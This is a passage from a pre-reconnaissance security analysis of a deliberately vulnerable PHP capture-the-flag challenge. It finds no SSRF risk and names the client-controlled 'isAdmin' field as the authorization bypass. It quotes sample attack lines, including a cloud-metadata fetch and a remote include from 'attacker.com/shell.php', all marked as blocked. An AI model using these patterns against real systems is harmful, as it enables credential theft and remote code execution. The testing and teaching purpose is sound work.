1. `$_POST['username']` - Line 71
2. `$_POST['password']` - Line 71
3. `$_POST['isAdmin']` - Line 71

**Usage:**
```php
if (isset($_POST['username']) && isset($_POST['password']) && isset($_POST['isAdmin'])) {
    if ($_POST['isAdmin'] == "true") {
        echo "<center><h2>Welcome Admin</h2></center>";
        echo "<center><h3>Congratulations, here is the flag: " . $flag . "</h3></center>";
    } else {
        echo "<center><h3>Incorrect username/password!</h3></center>";
    }
}
```

**Data Flow:**
```
User Input → isset() check → String comparison → Echo output
             └─ NO EXTERNAL REQUESTS AT ANY STAGE
```

**Conclusion:** User input is used only for control flow (conditional logic). It never:
- Passes to HTTP client functions (none exist)
- Passes to file operations (none exist)
- Influences URLs, hostnames, or ports (no network requests made)
- Gets stored for later processing (no database or queues)

### Infrastructure Configuration Analysis

I checked infrastructure configurations for SSRF potential:

**Docker Compose Analysis:**

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-052-24/docker-compose.yml`

```yaml
services:
  web:
    build: 
      context: ./src
      args:
        - FLAG
    ports:
      - 80  # Exposes port 80 only (no outbound network services)
    healthcheck:
      test: timeout 10s bash -c ':> /dev/tcp/127.0.0.1/80' || exit 1
```

**Findings:**
- No outbound network connections defined
- No external service dependencies
- No environment variables pointing to external APIs
- Healthcheck targets only localhost (not user-controllable)

### PHP Configuration Analysis

**`allow_url_fopen` Setting:**

```ini
allow_url_fopen = On  # Enabled (potential SSRF vector if used)
```

**Security Implication:**

With `allow_url_fopen = On`, PHP functions like `file_get_contents()` and `fopen()` **could** access remote URLs:

```php
// This would work if present (but it's NOT present):
$content = file_get_contents("http://169.254.169.254/latest/meta-data/");
```

**However**, the application code never uses these functions. The configuration is permissive, but there's no code to exploit.

**Recommendation:** Set `allow_url_fopen = Off` as defense-in-depth, even though current code doesn't use it.

### False Positive Elimination

I eliminated these potential false positives:

#### False Positive #1: Static Images
**Files:**
- `/static/springfield_background.jpg`
- `/static/springfield_background-2.jpg`
- `/static/homer_simpson.png`

**Reason for Exclusion:** These are served directly by Apache's file handler without PHP processing. They are **NOT SSRF sinks** because:
- No PHP execution context
- No user input influences their serving
- No network requests occur during file serving

#### False Positive #2: Docker Healthcheck
**Config:**
```yaml
healthcheck:
  test: timeout 10s bash -c ':> /dev/tcp/127.0.0.1/80' || exit 1
```

**Reason for Exclusion:** This is infrastructure-level health monitoring with:
- No user input
- No application code involvement
- Only localhost loopback target (127.0.0.1)
- Executed by Docker, not PHP

**Per scope definition:** Out-of-scope (local-only infrastructure component).

### SSRF Exploitation Scenarios (All Blocked)

I considered theoretical SSRF attack scenarios:

#### Scenario 1: Cloud Metadata Access
**Attack Goal:** Force server to fetch AWS metadata at `http://169.254.169.254/latest/meta-data/`  
**Expected Outcome:** Leak IAM credentials or instance metadata  
**Actual Outcome:** ❌ **NOT POSSIBLE** - No HTTP client functions exist

#### Scenario 2: Internal Port Scanning
**Attack Goal:** Use server as proxy to scan internal network (e.g., `http://192.168.1.1:22`)  
**Expected Outcome:** Discover internal services  
**Actual Outcome:** ❌ **NOT POSSIBLE** - No HTTP client functions exist

#### Scenario 3: SSRF via File Inclusion
**Attack Goal:** Include remote PHP file via `include('http://attacker.com/shell.php')`  
**Expected Outcome:** Remote code execution  
**Actual Outcome:** ❌ **NOT POSSIBLE** - No `include()` calls exist, and `allow_url_include = Off`

#### Scenario 4: DNS Rebinding Attack
**Attack Goal:** Use DNS rebinding to bypass SSRF filters  
**Expected Outcome:** Access internal services via DNS manipulation  
**Actual Outcome:** ❌ **NOT APPLICABLE** - No SSRF filters to bypass (no SSRF functionality exists)

### Conclusion: SSRF Risk Assessment

**Overall SSRF Risk:** NONE

**Risk Breakdown:**

| SSRF Vector | Risk Level | Reason |
|------------|-----------|---------|
| HTTP Clients | None | No curl, file_get_contents, or HTTP library usage |
| Raw Sockets | None | No socket operations |
| File Inclusion | None | No include/require with URLs |
| Redirects | None | No header('Location:') with user input |
| Headless Browsers | None | No Puppeteer/Playwright/Selenium |
| Media Processors | None | No ImageMagick/FFmpeg with URLs |
| Link Unfurlers | None | No oEmbed or metadata fetchers |
| Webhooks | None | No outbound callback functionality |
| SSO/OIDC | None | No external authentication discovery |
| Importers | None | No "import from URL" features |
| Plugin Installers | None | No plugin/theme management |
| Cloud Metadata | None | No metadata API access |

**Security Posture:**

The application is **inherently immune to SSRF attacks** due to its minimal architecture. The 82-line PHP file contains no outbound network functionality whatsoever. While this is "secure by omission" rather than "secure by design," the practical result is the same—no SSRF attack surface.

**SSRF Exploitation Queue:** EMPTY  
No SSRF vulnerabilities found for exploitation team.

**Recommendation for Exploitation Team:**

❌ **DO NOT allocate resources for SSRF testing**  
✅ **FOCUS INSTEAD ON:**
- Client-side parameter manipulation (`isAdmin` bypass) - **PRIMARY CTF SOLUTION**
- Authorization bypass exploitation
- Potential second-order vulnerabilities if application were extended

---

## Conclusion

XBEN-052-24 is a **deliberately vulnerable CTF security challenge** designed to teach the dangers of client-side security controls. The application's architecture is intentionally minimal—82 lines of PHP with no database, no framework, and no modern security features—to focus attention on the single critical vulnerability: **authorization bypass via client-controlled parameters**.

**Primary Vulnerability:** The `isAdmin` hidden form field (Line 65 of `index.php`) represents a fundamental misunderstanding of web security trust boundaries. By allowing the client to dictate authorization decisions through a POST parameter, the application violates the core principle that security decisions must be made server-side based on verified session state. This vulnerability is trivially exploitable using browser DevTools, intercepting proxies, or command-line HTTP clients.

**Technology Stack Risk:** The entire stack consists of end-of-life software—PHP 5.6.40 (EOL January 2019), Apache 2.4.25 (2018), and Debian 9 (EOL July 2022). This represents a deliberately outdated configuration that would expose a production system to hundreds of known CVEs across all layers. Combined with the lack of HTTPS (HTTP-only on port 80), all data transmissions including credentials and the flag occur in plaintext over the network.

**Attack Surface:** The minimal attack surface consists of a single POST endpoint (`/index.php`) that accepts three parameters: `username`, `password`, and `isAdmin`. Despite collecting credentials, the application never validates them—only the `isAdmin` parameter influences access control decisions. This represents OWASP A01:2021 Broken Access Control in its most direct form.

**Absent Vulnerabilities:** Comprehensive analysis revealed **zero exploitable XSS, SQL injection, command injection, or SSRF vulnerabilities**. The application implements no database connectivity (eliminating SQLi), executes no system commands (eliminating command injection), makes no outbound requests (eliminating SSRF), and includes no client-side JavaScript (eliminating DOM-based XSS). User input is never reflected in output, preventing reflected XSS. This security posture is "accidental"—the result of architectural simplicity rather than deliberate security design.

**Exploitation Path:** The intended challenge solution is straightforward: modify the `isAdmin` POST parameter from `false` to `true` to bypass authorization and retrieve the flag. This can be accomplished with a single curl command, browser DevTools manipulation, or any HTTP client capable of modifying POST data.

**Operational Security:** Secret management is critically flawed—the flag is stored in plaintext in `.env`, embedded into the PHP source via `sed` during Docker build, exposed in Docker image history, and transmitted over unencrypted HTTP. There is no session management, no CSRF protection, no rate limiting, no input validation beyond `isset()` checks, and no logging of security events.

**CTF Challenge Context:** As a security training challenge, this application effectively demonstrates what NOT to do in production authentication systems. The vulnerability is immediately apparent to security-aware developers but might bypass less experienced implementers who assume hidden form fields provide some level of protection. The challenge teaches the critical lesson that **all data from the client is untrusted** and must be validated server-side.

**For Penetration Testing Teams:** The exploitation strategy is unambiguous—target the `isAdmin` parameter manipulation vulnerability as the primary (and only effective) attack vector. SSRF, XSS, and injection testing would yield no results and waste resources. The flag can be retrieved in seconds with proper parameter manipulation.

---

**PRE-RECON CODE ANALYSIS COMPLETE**